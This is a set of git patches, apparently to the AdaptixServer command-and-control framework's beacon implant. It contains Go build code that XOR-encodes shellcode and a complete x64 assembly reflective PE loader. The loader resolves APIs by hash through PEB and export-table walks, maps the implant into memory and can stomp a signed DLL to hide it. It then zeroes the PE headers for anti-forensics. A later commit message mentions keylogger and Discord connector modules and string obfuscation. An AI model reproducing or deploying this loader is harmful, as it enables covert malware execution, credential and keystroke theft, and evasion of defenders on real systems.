"-DHASH_NTPROTECTVIRTUALMEMORY=0x%x -DHASH_NTCLOSE=0x%x "+ + "-DHASH_LOADLIBRARYA=0x%x -DHASH_GETPROCADDRESS=0x%x "+ + "-DHASH_FLUSHINSTRUCTIONCACHE=0x%x -DHASH_FREELIBRARY=0x%x "+ + "-DHASH_LOADLIBRARYEXA=0x%x -DMODULE_STOMP", + seed, + stubHashes.ModNtdll, stubHashes.ModKernel32, + stubHashes.NtCreateSection, stubHashes.NtMapViewOfSection, + stubHashes.NtProtectVirtualMem, stubHashes.NtClose, + stubHashes.LoadLibraryA, stubHashes.GetProcAddress, + stubHashes.FlushInstructionCache, stubHashes.FreeLibrary, + stubHashes.LoadLibraryExA) + nasmCmd := fmt.Sprintf("nasm -f bin %s %s -o %s", nasmDefines, nasmSrc, stubBinPath) + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Assembling reflective loader stub with per-payload hashes...") + var nasmArgs []string + nasmArgs = append(nasmArgs, "-c", nasmCmd) + err = Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", nasmArgs...) + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", err + } + stubContent, err := os.ReadFile(stubBinPath) + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", err + } + rawShellcode := append(stubContent, buildContent...) + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Stub: %d bytes, raw shellcode: %d bytes", len(stubContent), len(rawShellcode))) + + Payload, err = xorEncodeShellcode(rawShellcode, "x64") + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", err + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, fmt.Sprintf("XOR-encoded shellcode: %d bytes", len(Payload))) + } else { + stubContent, err := os.ReadFile(stubPath) + if err != nil { + return nil, "", err + } + rawShellcode := append(stubContent, buildContent...) + + Payload, err = xorEncodeShellcode(rawShellcode, "x86") + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", err + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, fmt.Sprintf("XOR-encoded shellcode: %d bytes", len(Payload))) } - Payload = append(stubContent, buildContent...) } else { Payload = buildContent } + _ = os.RemoveAll(tempDir) _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Payload size: %d bytes", len(Payload))) /// END CODE HERE diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ProcLoader.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ProcLoader.cpp index b671628ac..f6f5d44c0 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ProcLoader.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ProcLoader.cpp @@ -8,7 +8,7 @@ ULONG Djb2A(PUCHAR str) if (str == NULL) return 0; - ULONG hash = 1572; + ULONG hash = DJB2_SEED; int c; while (c = *str++) { if (c >= 'A' && c <= 'Z') @@ -23,7 +23,7 @@ ULONG Djb2W(PWCHAR str) if (str == NULL) return 0; - ULONG hash = 1572; + ULONG hash = DJB2_SEED; int c; while (c = *str++) { if (c >= L'A' && c <= L'Z') diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/files/stub_rdi.x64.asm b/AdaptixServer/extenders/beacon_agent/src_beacon/files/stub_rdi.x64.asm new file mode 100644 index 000000000..7c614e5ca --- /dev/null +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/files/stub_rdi.x64.asm @@ -0,0 +1,915 @@ +; ============================================================================ +; stub_rdi.x64.asm — Position-independent reflective PE loader (x86-64) +; +; NASM flat binary: nasm -f bin -DDJB2_SEED=... stub_rdi.x64.asm -o stub.x64.bin +; +; Prepended to the beacon DLL at build time. After the XOR decoder stub +; decodes [stub + DLL], execution transfers here. +; +; OPSEC: +; - NtCreateSection(SEC_COMMIT) + NtMapViewOfSection → MEM_MAPPED +; - Per-section NtProtectVirtualMemory → RX / RW / R (never RWX) +; - PE headers zeroed post-load (anti-forensics) +; - No VirtualAlloc / MEM_PRIVATE +; +; Optional: -DMODULE_STOMP → LoadLibraryA a sacrificial DLL and overwrite +; its image, so the beacon runs from MEM_IMAGE backed by a signed file. +; Falls back to SEC_COMMIT if no candidate DLL is large enough. +; +; Compile-time defines (-D): +; DJB2_SEED, HASH_MOD_NTDLL, HASH_MOD_KERNEL32, +; HASH_NTCREATESECTION, HASH_NTMAPVIEWOFSECTION, +; HASH_NTPROTECTVIRTUALMEMORY, HASH_NTCLOSE, +; HASH_LOADLIBRARYA, HASH_GETPROCADDRESS, HASH_FLUSHINSTRUCTIONCACHE +; [MODULE_STOMP only] HASH_FREELIBRARY +; ============================================================================ + +BITS 64 +ORG 0 + +; --------------------------------------------------------------------------- +; PE constants +; --------------------------------------------------------------------------- +%define IMAGE_REL_BASED_DIR64 10 +%define IMAGE_REL_BASED_HIGHLOW 3 + +%define SEC_COMMIT 0x8000000 +%define SECTION_ALL_ACCESS 0xF001F +%define PAGE_EXECUTE_READWRITE 0x40 +%define PAGE_READWRITE 0x04 +%define PAGE_EXECUTE_READ 0x20 +%define PAGE_READONLY 0x02 + +%define DLL_PROCESS_ATTACH 1 + +%define IMAGE_SCN_MEM_EXECUTE 0x20000000 +%define IMAGE_SCN_MEM_WRITE 0x80000000 + +; --------------------------------------------------------------------------- +; Stack frame layout (FRAME_SIZE = 0xD8) +; +; 8 pushes (64 bytes) + return address (8 bytes) = 72 on stack. +; 72 + 0xD8 (216) = 288 = 18 * 16 → RSP 16-byte aligned before CALL. +; +; [rsp+0x00..0x4F] volatile: shadow space (0x20) + stack args for API calls +; [rsp+0x50] LOC_LOADLIB LoadLibraryA address +; [rsp+0x58] LOC_GETPROC GetProcAddress address +; [rsp+0x60] LOC_FLUSHIC FlushInstructionCache address +; [rsp+0x68] LOC_PE_SRC source PE base +; [rsp+0x70] LOC_NT_HDR NT_HEADERS pointer (source) +; [rsp+0x78] LOC_IMAGE_SIZE SizeOfImage +; [rsp+0x80] LOC_SECTION_HDL section handle +; [rsp+0x88] LOC_IMAGE_BASE mapped base +; [rsp+0x90] LOC_VIEW_SIZE view size / LARGE_INTEGER +; [rsp+0x98] LOC_TEMP_ADDR temp: NtProtect &BaseAddress +; [rsp+0xA0] LOC_TEMP_SIZE temp: NtProtect &RegionSize +; [rsp+0xA8] LOC_OLD_PROT temp: NtProtect &OldProtect +; [rsp+0xB0] LOC_SAVE1 general purpose save slot +; [rsp+0xB8] LOC_SAVE2 general purpose save slot +; [rsp+0xC0] LOC_SAVE3 general purpose save slot +; [rsp+0xC8] LOC_SAVE4 general purpose save slot +; --------------------------------------------------------------------------- +%define FRAME_SIZE 0xD8 + +%define LOC_LOADLIB 0x50 +%define LOC_GETPROC 0x58 +%define LOC_FLUSHIC 0x60 +%define LOC_PE_SRC 0x68 +%define LOC_NT_HDR 0x70 +%define LOC_IMAGE_SIZE 0x78 +%define LOC_SECTION_HDL 0x80 +%define LOC_IMAGE_BASE 0x88 +%define LOC_VIEW_SIZE 0x90 +%define LOC_TEMP_ADDR 0x98 +%define LOC_TEMP_SIZE 0xA0 +%define LOC_OLD_PROT 0xA8 +%define LOC_SAVE1 0xB0 +%define LOC_SAVE2 0xB8 +%define LOC_SAVE3 0xC0 +%define LOC_SAVE4 0xC8 + +; ============================================================================ +; PHASE 1 — Prologue +; ============================================================================ +_start: + push rsi + push rdi + push rbp + push rbx + push r12 + push r13 + push r14 + push r15 + sub rsp, FRAME_SIZE + cld ; ensure forward direction for rep movsb + +; ============================================================================ +; PHASE 2 — Self-locate: compute DLL base from _stub_end label +; ============================================================================ + call _delta +_delta: + pop rax + lea rbx, [rax + (_stub_end - _delta)] + +; ============================================================================ +; PHASE 3 — Validate MZ + PE signatures +; ============================================================================ + cmp word [rbx], 0x5A4D + jne _exit + + movsxd rax, dword [rbx + 0x3C] + lea rbp, [rbx + rax] + + cmp dword [rbp], 0x00004550 + jne _exit + mov [rsp + LOC_PE_SRC], rbx + mov [rsp + LOC_NT_HDR], rbp + mov eax, dword [rbp + 0x50] + mov [rsp + LOC_IMAGE_SIZE], rax + +; ============================================================================ +; PHASE 4 — PEB walk: resolve ntdll.dll and kernel32.dll bases +; ============================================================================ + mov ecx, HASH_MOD_NTDLL + call _find_module + test rax, rax + jz _exit + mov r12, rax + + mov ecx, HASH_MOD_KERNEL32 + call _find_module + test rax, rax + jz _exit + mov r13, rax + +; ============================================================================ +; PHASE 5 — EAT walk: resolve 7 APIs by hash +; Module bases saved to SAVE1/SAVE2 so _find_export can clobber regs freely. +; ============================================================================ + mov [rsp + LOC_SAVE1], r12 ; ntdll base + mov [rsp + LOC_SAVE2], r13 ; kernel32 base + + mov rcx, r12 + mov edx, HASH_NTCREATESECTION + call _find_export + test rax, rax + jz _exit + mov r12, rax ; r12 = NtCreateSection + + mov rcx, [rsp + LOC_SAVE1] + mov edx, HASH_NTMAPVIEWOFSECTION + call _find_export + test rax, rax + jz _exit + mov r13, rax ; r13 = NtMapViewOfSection + + mov rcx, [rsp + LOC_SAVE1] + mov edx, HASH_NTPROTECTVIRTUALMEMORY + call _find_export + test rax, rax + jz _exit + mov r14, rax ; r14 = NtProtectVirtualMemory + + mov rcx, [rsp + LOC_SAVE1] + mov edx, HASH_NTCLOSE + call _find_export + test rax, rax + jz _exit + mov r15, rax ; r15 = NtClose + + mov rcx, [rsp + LOC_SAVE2] + mov edx, HASH_LOADLIBRARYA + call _find_export + mov [rsp + LOC_LOADLIB], rax + + mov rcx, [rsp + LOC_SAVE2] + mov edx, HASH_GETPROCADDRESS + call _find_export + mov [rsp + LOC_GETPROC], rax + + mov rcx, [rsp + LOC_SAVE2] + mov edx, HASH_FLUSHINSTRUCTIONCACHE + call _find_export + mov [rsp + LOC_FLUSHIC], rax + +%ifdef MODULE_STOMP + mov rcx, [rsp + LOC_SAVE2] ; kernel32 base + mov edx, HASH_FREELIBRARY + call _find_export + mov [rsp + LOC_SECTION_HDL], rax ; repurpose as FreeLibrary addr + + mov rcx, [rsp + LOC_SAVE2] ; kernel32 base + mov edx, HASH_LOADLIBRARYEXA + call _find_export + mov [rsp + LOC_VIEW_SIZE], rax ; repurpose as LoadLibraryExA addr +%endif + + cmp qword [rsp + LOC_LOADLIB], 0 + je _exit + cmp qword [rsp + LOC_GETPROC], 0 + je _exit + cmp qword [rsp + LOC_FLUSHIC], 0 + je _exit + +%ifdef MODULE_STOMP + ; If stomp APIs missing, skip stomp but still try SEC_COMMIT fallback + cmp qword [rsp + LOC_SECTION_HDL], 0 + je .stomp_fallback + cmp qword [rsp + LOC_VIEW_SIZE], 0 + je .stomp_fallback +%endif + + mov rbx, [rsp + LOC_PE_SRC] + mov rbp, [rsp + LOC_NT_HDR] + +; ============================================================================ +; PHASE 6/7 — Module Stomp (if MODULE_STOMP) or SEC_COMMIT fallback +; +; Module stomping: LoadLibraryA a sacrificial signed DLL, check if its +; SizeOfImage >= beacon's SizeOfImage, make it writable, then overwrite +; it with the beacon PE. The beacon runs from MEM_IMAGE backed by a +; real file on disk. If no candidate fits, fall through to SEC_COMMIT. +; ============================================================================ + +%ifdef MODULE_STOMP + ; ---- RIP-relative address of _stomp_paths data ---- + call .get_stomp_addr +.get_stomp_addr: + pop rax + lea rsi, [rax + (_stomp_paths - .get_stomp_addr)] + +.stomp_try_next: + ; End sentinel: double-null → all candidates exhausted, fall through + cmp byte [rsi], 0 + je .stomp_fallback + + ; Save rsi (path pointer) across LoadLibraryExA call + mov [rsp + LOC_SAVE3], rsi + + ; LoadLibraryExA(path, NULL, DONT_RESOLVE_DLL_REFERENCES=1) + ; Maps DLL as MEM_IMAGE but does NOT run DllMain, no imports resolved + mov rcx, rsi + xor rdx, rdx ; hFile = NULL + mov r8d, 1 ; DONT_RESOLVE_DLL_REFERENCES + call qword [rsp + LOC_VIEW_SIZE] ; LoadLibraryExA + + ; Restore rsi + mov rsi, [rsp + LOC_SAVE3] + + ; If LoadLibraryExA failed → skip to next path + test rax, rax + jz .stomp_advance + + ; Save hModule + mov [rsp + LOC_SAVE4], rax + + ; Validate MZ signature — if corrupted (DLL already stomped by + ; another packer), skip it and try the next candidate. + cmp word [rax], 0x5A4D + jne .stomp_free_advance + + ; Validate e_lfanew is reasonable (< 0x400) + movsxd rcx, dword [rax + 0x3C] + cmp ecx, 0x400 + ja .stomp_free_advance + + ; Validate PE signature + cmp dword [rax + rcx], 0x00004550 + jne .stomp_free_advance + + ; Read SizeOfImage from NT_HEADERS + mov ecx, dword [rax + rcx + 0x50] + + ; Compare with beacon's required SizeOfImage + cmp rcx, [rsp + LOC_IMAGE_SIZE] + jb .stomp_free_advance ; too small + + ; Anti double-stomp: check if OUR code runs from this DLL. + ; If another packer (BalezeKit) stomped this DLL with our shellcode, + ; LoadLibraryExA returns the same handle. Zeroing it would destroy + ; our own currently-executing code → crash. + call .get_self_rip +.get_self_rip: + pop rdx ; rdx = our current address + mov rax, [rsp + LOC_SAVE4] ; hModule = DLL base + cmp rdx, rax + jb .stomp_found ; RIP < base → not in this DLL + lea rax, [rax + rcx] ; rax = base + SizeOfImage + cmp rdx, rax + jae .stomp_found ; RIP >= end → not in this DLL + jmp .stomp_free_advance ; we're INSIDE this DLL → skip + +.stomp_free_advance: + ; DLL invalid or too small → FreeLibrary and try next + mov rcx, [rsp + LOC_SAVE4] + call qword [rsp + LOC_SECTION_HDL] ; FreeLibrary + jmp .stomp_advance + +.stomp_found: + ; ---- Suitable DLL found — make entire image writable ---- + ; NtProtectVirtualMemory on MEM_IMAGE changes only ONE region per call + ; (each PE section is a separate region). Must loop until entire + ; SizeOfImage is covered. + mov rax, [rsp + LOC_SAVE4] ; hModule = base + mov [rsp + LOC_IMAGE_BASE], rax + + ; LOC_TEMP_ADDR = current address, LOC_SAVE3 = remaining bytes + mov [rsp + LOC_TEMP_ADDR], rax + mov rax, [rsp + LOC_IMAGE_SIZE] + mov [rsp + LOC_SAVE3], rax ; remaining = SizeOfImage + +.stomp_protect_loop: + cmp qword [rsp + LOC_SAVE3], 0 + jle .stomp_protect_done + + ; NtProtectVirtualMemory: changes one region, updates TEMP_ADDR/TEMP_SIZE + mov rax, [rsp + LOC_SAVE3] + mov [rsp + LOC_TEMP_SIZE], rax ; request remaining size + mov rcx, -1 + lea rdx, [rsp + LOC_TEMP_ADDR] + lea r8, [rsp + LOC_TEMP_SIZE] + mov r9d, PAGE_EXECUTE_READWRITE ; RWX (not just RW — needed to add X later) + lea rax, [rsp + LOC_OLD_PROT] + mov [rsp + 0x20], rax + call r14 ; NtProtectVirtualMemory + test eax, eax + js .stomp_protect_fail + + ; Advance: next_addr = TEMP_ADDR + TEMP_SIZE (region actually changed) + mov rax, [rsp + LOC_TEMP_ADDR] + add rax, [rsp + LOC_TEMP_SIZE] + mov [rsp + LOC_TEMP_ADDR], rax + + ; remaining = (hModule + IMAGE_SIZE) - next_addr + mov rcx, [rsp + LOC_SAVE4] + add rcx, [rsp + LOC_IMAGE_SIZE] + sub rcx, rax + mov [rsp + LOC_SAVE3], rcx + jmp .stomp_protect_loop + +.stomp_protect_done: + ; Success — zero entire target area before copying. + ; The stomped DLL's residual content would corrupt .bss + ; (uninitialized globals must be zero). SEC_COMMIT pages + ; are already zeroed by the kernel, but stomped DLL is not. + push rdi + push rcx + mov rdi, [rsp + 16 + LOC_IMAGE_BASE] + mov ecx, dword [rsp + 16 + LOC_IMAGE_SIZE] + xor eax, eax + rep stosb + pop rcx + pop rdi + + ; Clear LOC_SECTION_HDL so Phase 13 skips NtClose + mov qword [rsp + LOC_SECTION_HDL], 0 + jmp .phase8_copy_headers + +.stomp_protect_fail: + ; NtProtectVirtualMemory failed → FreeLibrary and try next + mov rcx, [rsp + LOC_SAVE4] + call qword [rsp + LOC_SECTION_HDL] ; FreeLibrary + ; Restore rsi from LOC_SAVE3 (still valid) + mov rsi, [rsp + LOC_SAVE3] + +.stomp_advance: + ; Skip current path string past its null terminator +.stomp_skip: + cmp byte [rsi], 0 + je .stomp_skip_done + inc rsi + jmp .stomp_skip +.stomp_skip_done: + inc rsi ; skip the null byte itself + jmp .stomp_try_next + +.stomp_fallback: +%endif ; MODULE_STOMP + +; ============================================================================ +; PHASE 6 — NtCreateSection(SEC_COMMIT) [fallback when MODULE_STOMP fails, +; or the only path when MODULE_STOMP is not defined] +; 7 args: 4 reg + 3 stack +; ============================================================================ + mov rax, [rsp + LOC_IMAGE_SIZE] + mov [rsp + LOC_VIEW_SIZE], rax + + lea rcx, [rsp + LOC_SECTION_HDL] + mov edx, SECTION_ALL_ACCESS + xor r8, r8 + lea r9, [rsp + LOC_VIEW_SIZE] + mov qword [rsp + 0x20], PAGE_EXECUTE_READWRITE + mov qword [rsp + 0x28], SEC_COMMIT + mov qword [rsp + 0x30], 0 + call r12 + test eax, eax + js _exit + +; ============================================================================ +; PHASE 7 — NtMapViewOfSection +; 10 args: 4 reg + 6 stack +; ============================================================================ + mov qword [rsp + LOC_IMAGE_BASE], 0 + mov rax, [rsp + LOC_IMAGE_SIZE] + mov [rsp + LOC_VIEW_SIZE], rax + + mov rcx, [rsp + LOC_SECTION_HDL] + mov rdx, -1 + lea r8, [rsp + LOC_IMAGE_BASE] + xor r9, r9 + mov qword [rsp + 0x20], 0 + mov qword [rsp + 0x28], 0 + lea rax, [rsp + LOC_VIEW_SIZE] + mov [rsp + 0x30], rax + mov qword [rsp + 0x38], 2 + mov qword [rsp + 0x40], 0 + mov qword [rsp + 0x48], PAGE_EXECUTE_READWRITE + call r13 + test eax, eax + js _cleanup_section + +; ============================================================================ +; PHASE 8 — Copy PE headers (rep movsb clobbers rsi/rdi/rcx) +; ============================================================================ +.phase8_copy_headers: + push rsi + push rdi + push rcx + + mov rsi, [rsp + 24 + LOC_PE_SRC] + mov rdi, [rsp + 24 + LOC_IMAGE_BASE] + mov ecx, dword [rbp + 0x54] + rep movsb + + pop rcx + pop rdi + pop rsi + +; ============================================================================ +; PHASE 9 — Copy sections +; Uses push/pop for rsi/rdi/rcx around rep movsb — no Win64 API calls here, +; so shadow space corruption is not a concern. +; ============================================================================ + movzx eax, word [rbp + 0x14] + lea r8, [rbp + 0x18] + add r8, rax + movzx ecx, word [rbp + 0x06] + test ecx, ecx + jz .sections_done + +.copy_section: + push rcx + push r8 + + mov eax, dword [r8 + 0x10] ; SizeOfRawData + test eax, eax + jz .next_section + + mov ecx, dword [r8 + 0x14] ; PointerToRawData (32-bit RVA) + mov rsi, [rsp + 16 + LOC_PE_SRC] + add rsi, rcx ; src = PE_base + PointerToRawData + + mov ecx, dword [r8 + 0x0C] ; VirtualAddress (32-bit RVA) + mov rdi, [rsp + 16 + LOC_IMAGE_BASE] + add rdi, rcx ; dst = mapped_base + VirtualAddress + + mov ecx, eax ; count = SizeOfRawData + rep movsb + +.next_section: + pop r8 + pop rcx + add r8, 40 + dec ecx + jnz .copy_section + +.sections_done: + +; ============================================================================ +; PHASE 10 — Base relocations +; ============================================================================ + mov rax, [rsp + LOC_IMAGE_BASE] + mov rcx, [rbp + 0x30] + sub rax, rcx + jz .reloc_done + + mov r9, rax ; r9 = delta + mov r10d, dword [rbp + 0xB4] + test r10d, r10d + jz .reloc_done + + mov r8d, dword [rbp + 0xB0] + add r8, [rsp + LOC_IMAGE_BASE] + lea r10, [r8 + r10] + +.reloc_block: + cmp r8, r10 + jae .reloc_done + + mov eax, dword [r8] + mov ecx, dword [r8 + 4] + test ecx, ecx + jz .reloc_done + + add rax, [rsp + LOC_IMAGE_BASE] + lea r11, [r8 + rcx] + lea rbx, [r8 + 8] + +.reloc_entry: + cmp rbx, r11 + jae .reloc_next_block + + movzx edx, word [rbx] + mov ecx, edx + shr ecx, 12 + and edx, 0x0FFF + + cmp cl, IMAGE_REL_BASED_DIR64 + je .reloc_dir64 + cmp cl, IMAGE_REL_BASED_HIGHLOW + je .reloc_highlow + jmp .reloc_skip + +.reloc_dir64: + add [rax + rdx], r9 + jmp .reloc_skip + +.reloc_highlow: + add dword [rax + rdx], r9d + jmp .reloc_skip + +.reloc_skip: + add rbx, 2 + jmp .reloc_entry + +.reloc_next_block: + mov r8, r11 + jmp .reloc_block + +.reloc_done: + mov rbp, [rsp + LOC_NT_HDR] + +; ============================================================================ +; PHASE 11 — Import resolution +; Saves loop state to LOC_SAVE1..SAVE4 across Win64 API calls (no push/pop +; around calls, avoiding shadow space corruption of saved registers). +; +; SAVE1 = import descriptor pointer +; SAVE2 = INT (OriginalFirstThunk) pointer +; SAVE3 = IAT (FirstThunk) pointer +; SAVE4 = hModule +; ============================================================================ + mov eax, dword [rbp + 0x94] + test eax, eax + jz .imports_done + + mov eax, dword [rbp + 0x90] + test eax, eax + jz .imports_done + + add rax, [rsp + LOC_IMAGE_BASE] + mov [rsp + LOC_SAVE1], rax ; save descriptor ptr + +.import_descriptor: + mov r8, [rsp + LOC_SAVE1] + mov eax, dword [r8 + 0x0C] + test eax, eax + jz .imports_done + + ; LoadLibraryA(DLL name) + add rax, [rsp + LOC_IMAGE_BASE] + mov rcx, rax + call qword [rsp + LOC_LOADLIB] + test rax, rax + jz .imports_done + mov [rsp + LOC_SAVE4], rax ; hModule + + mov r8, [rsp + LOC_SAVE1] + + ; OriginalFirstThunk (INT) at +0x00 + mov eax, dword [r8] + test eax, eax + jnz .have_oft + mov eax, dword [r8 + 0x10] +.have_oft: + add rax, [rsp + LOC_IMAGE_BASE] + mov [rsp + LOC_SAVE2], rax ; INT ptr + + mov eax, dword [r8 + 0x10] + add rax, [rsp + LOC_IMAGE_BASE] + mov [rsp + LOC_SAVE3], rax ; IAT ptr + +.import_thunk: + mov rsi, [rsp + LOC_SAVE2] ; INT + mov rax, [rsi] + test rax, rax + jz .import_next_desc + + ; Check ordinal flag (bit 63) + bt rax, 63 + jc .import_by_ordinal + + ; Import by name + add rax, [rsp + LOC_IMAGE_BASE] + lea rdx, [rax + 2] ; skip Hint → name string + mov rcx, [rsp + LOC_SAVE4] ; hModule + call qword [rsp + LOC_GETPROC] + jmp .import_write_iat + +.import_by_ordinal: + movzx edx, ax + mov rcx, [rsp + LOC_SAVE4] + call qword [rsp + LOC_GETPROC] + +.import_write_iat: + mov r9, [rsp + LOC_SAVE3] + mov [r9], rax + + ; Advance INT and IAT pointers + add qword [rsp + LOC_SAVE2], 8 + add qword [rsp + LOC_SAVE3], 8 + jmp .import_thunk + +.import_next_desc: + add qword [rsp + LOC_SAVE1], 20 ; next descriptor + jmp .import_descriptor + +.imports_done: + +; ============================================================================ +; PHASE 12 — Tighten .text to RX only +; +; Only .text is changed: RWX → PAGE_EXECUTE_READ. +; All other sections stay PAGE_EXECUTE_READWRITE so that SsSleepInit +; sees the full image as executable (fullRxSize = entire image) and +; the 64KB-aligned dual-map succeeds. +; _DoRemap later sets proper protections on non-.text regions. +; ============================================================================ + movzx eax, word [rbp + 0x14] + lea r8, [rbp + 0x18] + add r8, rax ; r8 = first section header + movzx ecx, word [rbp + 0x06] ; section count + test ecx, ecx + jz .protect_done + +.protect_scan: + mov eax, dword [r8 + 0x24] ; Characteristics + test eax, IMAGE_SCN_MEM_EXECUTE + jnz .found_text + add r8, 40 + dec ecx + jnz .protect_scan + jmp .protect_done + +.found_text: + ; Tighten this section from RWX → RX + mov eax, dword [r8 + 0x0C] ; VirtualAddress + add rax, [rsp + LOC_IMAGE_BASE] + mov [rsp + LOC_TEMP_ADDR], rax + + mov eax, dword [r8 + 0x08] ; VirtualSize + mov edx, dword [r8 + 0x10] ; SizeOfRawData + cmp eax, edx + cmovb eax, edx ; max(VirtualSize, SizeOfRawData) + test eax, eax + jz .protect_done + mov [rsp + LOC_TEMP_SIZE], rax + + mov rcx, -1 + lea rdx, [rsp + LOC_TEMP_ADDR] + lea r8, [rsp + LOC_TEMP_SIZE] + mov r9d, PAGE_EXECUTE_READ ; RWX → RX + lea rax, [rsp + LOC_OLD_PROT] + mov [rsp + 0x20], rax + call r14 ; NtProtectVirtualMemory + +.protect_done: + +; ============================================================================ +; PHASE 13 — NtClose(hSection) +; Skipped when module stomping succeeded (LOC_SECTION_HDL == 0). +; ============================================================================ + mov rcx, [rsp + LOC_SECTION_HDL] + test rcx, rcx + jz .skip_close + call r15 +.skip_close: + +; ============================================================================ +; PHASE 14 — FlushInstructionCache(-1, base, imageSize) +; ============================================================================ + mov rcx, -1 + mov rdx, [rsp + LOC_IMAGE_BASE] + mov r8, [rsp + LOC_IMAGE_SIZE] + call qword [rsp + LOC_FLUSHIC] + +; ============================================================================ +; PHASE 15 — Zero PE headers (anti-forensics) +; ============================================================================ + push rdi + push rcx + + mov rdi, [rsp + 16 + LOC_IMAGE_BASE] + mov ecx, dword [rbp + 0x54] + xor eax, eax + rep stosb + + pop rcx + pop rdi + +; ============================================================================ +; PHASE 16 — Call DllMain(hinstDLL, DLL_PROCESS_ATTACH, NULL) +; ============================================================================ + mov eax, dword [rbp + 0x28] + test eax, eax + jz _exit + + add rax, [rsp + LOC_IMAGE_BASE] + + mov rcx, [rsp + LOC_IMAGE_BASE] + mov edx, DLL_PROCESS_ATTACH + xor r8, r8 + call rax + + jmp _exit + +; ============================================================================ +; Error paths +; ============================================================================ +_cleanup_section: + mov rcx, [rsp + LOC_SECTION_HDL] + call r15 + +_exit: + add rsp, FRAME_SIZE + pop r15 + pop r14 + pop r13 + pop r12 + pop rbx + pop rbp + pop rdi + pop rsi + ret + +; ============================================================================ +; _djb2a — ASCII DJB2 hash (case-insensitive) +; IN: rcx = null-terminated ASCII string +; OUT: eax = hash +; Clobbers: eax, edx, r8d, rcx +; ============================================================================ +_djb2a: + mov eax, DJB2_SEED +.loop: + movzx edx, byte [rcx] + inc rcx + test edx, edx + jz .done + lea r8d, [edx - 0x41] + cmp r8d, 25 + ja .no_lower + add edx, 0x20 +.no_lower: + imul eax, eax, 33 + add eax, edx + jmp .loop +.done: + ret + +; ============================================================================ +; _djb2w — Wide-char DJB2 hash (case-insensitive) +; IN: rcx = null-terminated WCHAR string +; OUT: eax = hash +; Clobbers: eax, edx, r8d, rcx +; ============================================================================ +_djb2w: + mov eax, DJB2_SEED +.loop: + movzx edx, word [rcx] + add rcx, 2 + test edx, edx + jz .done + lea r8d, [edx - 0x41] + cmp r8d, 25 + ja .no_lower + add edx, 0x20 +.no_lower: + imul eax, eax, 33 + add eax, edx + jmp .loop +.done: + ret + +; ============================================================================ +; _find_module — PEB walk, find DLL by wchar DJB2 hash +; IN: ecx = target hash +; OUT: rax = DLL base (0 if not found) +; Clobbers: rax, rcx, rdx, r8-r11 +; ============================================================================ +_find_module: + mov r10d, ecx + mov rax, [gs:0x60] + mov rax, [rax + 0x18] + mov r9, [rax + 0x20] + lea r11, [rax + 0x20] + +.walk: + cmp r9, r11 + je .not_found + + sub rsp, 0x28 + mov rcx, [r9 + 0x50] + call _djb2w + add rsp, 0x28 + + cmp eax, r10d + jne .next + mov rax, [r9 + 0x20] + ret + +.next: + mov r9, [r9] + jmp .walk + +.not_found: + xor eax, eax + ret + +; ============================================================================ +; _find_export — EAT walk, find export by ASCII DJB2 hash +; IN: rcx = module base, edx = target hash +; OUT: rax = function address (0 if not found) +; Saves/restores rbx, rsi, rdi internally. +; ============================================================================ +_find_export: + test rcx, rcx + jz .fail + + push rbx + push rsi + push rdi + sub rsp, 0x20 + + mov r9, rcx + mov esi, edx + + movsxd rax, dword [rcx + 0x3C] + mov r11d, dword [rcx + rax + 0x88] + test r11d, r11d + jz .fail_pop + add r11, r9 + + mov r10d, dword [r11 + 0x20] + add r10, r9 + mov ebx, dword [r11 + 0x24] + add rbx, r9 + mov eax, dword [r11 + 0x18] + lea rdi, [r10 + rax * 4] + +.search: + cmp r10, rdi + je .fail_pop + + mov ecx, dword [r10] + add rcx, r9 + call _djb2a + cmp eax, esi + je .found + + add r10, 4 + add rbx, 2 + jmp .search + +.found: + movzx edx, word [rbx] + mov eax, dword [r11 + 0x1C] + add rax, r9 + mov eax, dword [rax + rdx * 4] + add rax, r9 + + add rsp, 0x20 + pop rdi + pop rsi + pop rbx + ret + +.fail_pop: + add rsp, 0x20 + pop rdi + pop rsi + pop rbx +.fail: + xor eax, eax + ret + +; ============================================================================ +; Module stomp candidate paths (generated by Go, included at build time) +; ============================================================================ +%ifdef MODULE_STOMP +%include "stomp_paths.inc" +%endif + +; ============================================================================ +; End marker — DLL data starts immediately after this +; ============================================================================ +_stub_end: From e13cfa42c5cd45aa21f3588ad9cef8342ec07e46 Mon Sep 17 00:00:00 2001 From: En3nr4 Date: Fri, 1 May 2026 21:33:42 +0200 Subject: [PATCH 10/11] fix: resolve build errors for Discord connector and Keylogger modules - Add Obfuscate.h: compile-time XOR string encryption header - Add DebugLog.h: debug logging stub (no-op in release builds) - Add ProfileDiscord struct and BEACON_DISCORD config to AgentConfig.h - Add user32.dll API hashes to ApiDefines.h (keylogger resolution) - Add GenerateRandomBytes() utility function - Add DJB2_SEED default to pre-compilation Makefile flags - Exclude ConnectorDiscord.o from non-Discord object directories --- .../beacon_agent/src_beacon/Makefile | 17 ++++----- .../src_beacon/beacon/AgentConfig.h | 11 ++++++ .../src_beacon/beacon/ApiDefines.h | 12 ++++++- .../beacon_agent/src_beacon/beacon/DebugLog.h | 3 ++ .../src_beacon/beacon/Obfuscate.h | 35 +++++++++++++++++++ .../beacon_agent/src_beacon/beacon/utils.cpp | 6 ++++ .../beacon_agent/src_beacon/beacon/utils.h | 2 ++ 7 files changed, 77 insertions(+), 9 deletions(-) create mode 100644 AdaptixServer/extenders/beacon_agent/src_beacon/beacon/DebugLog.h create mode 100644 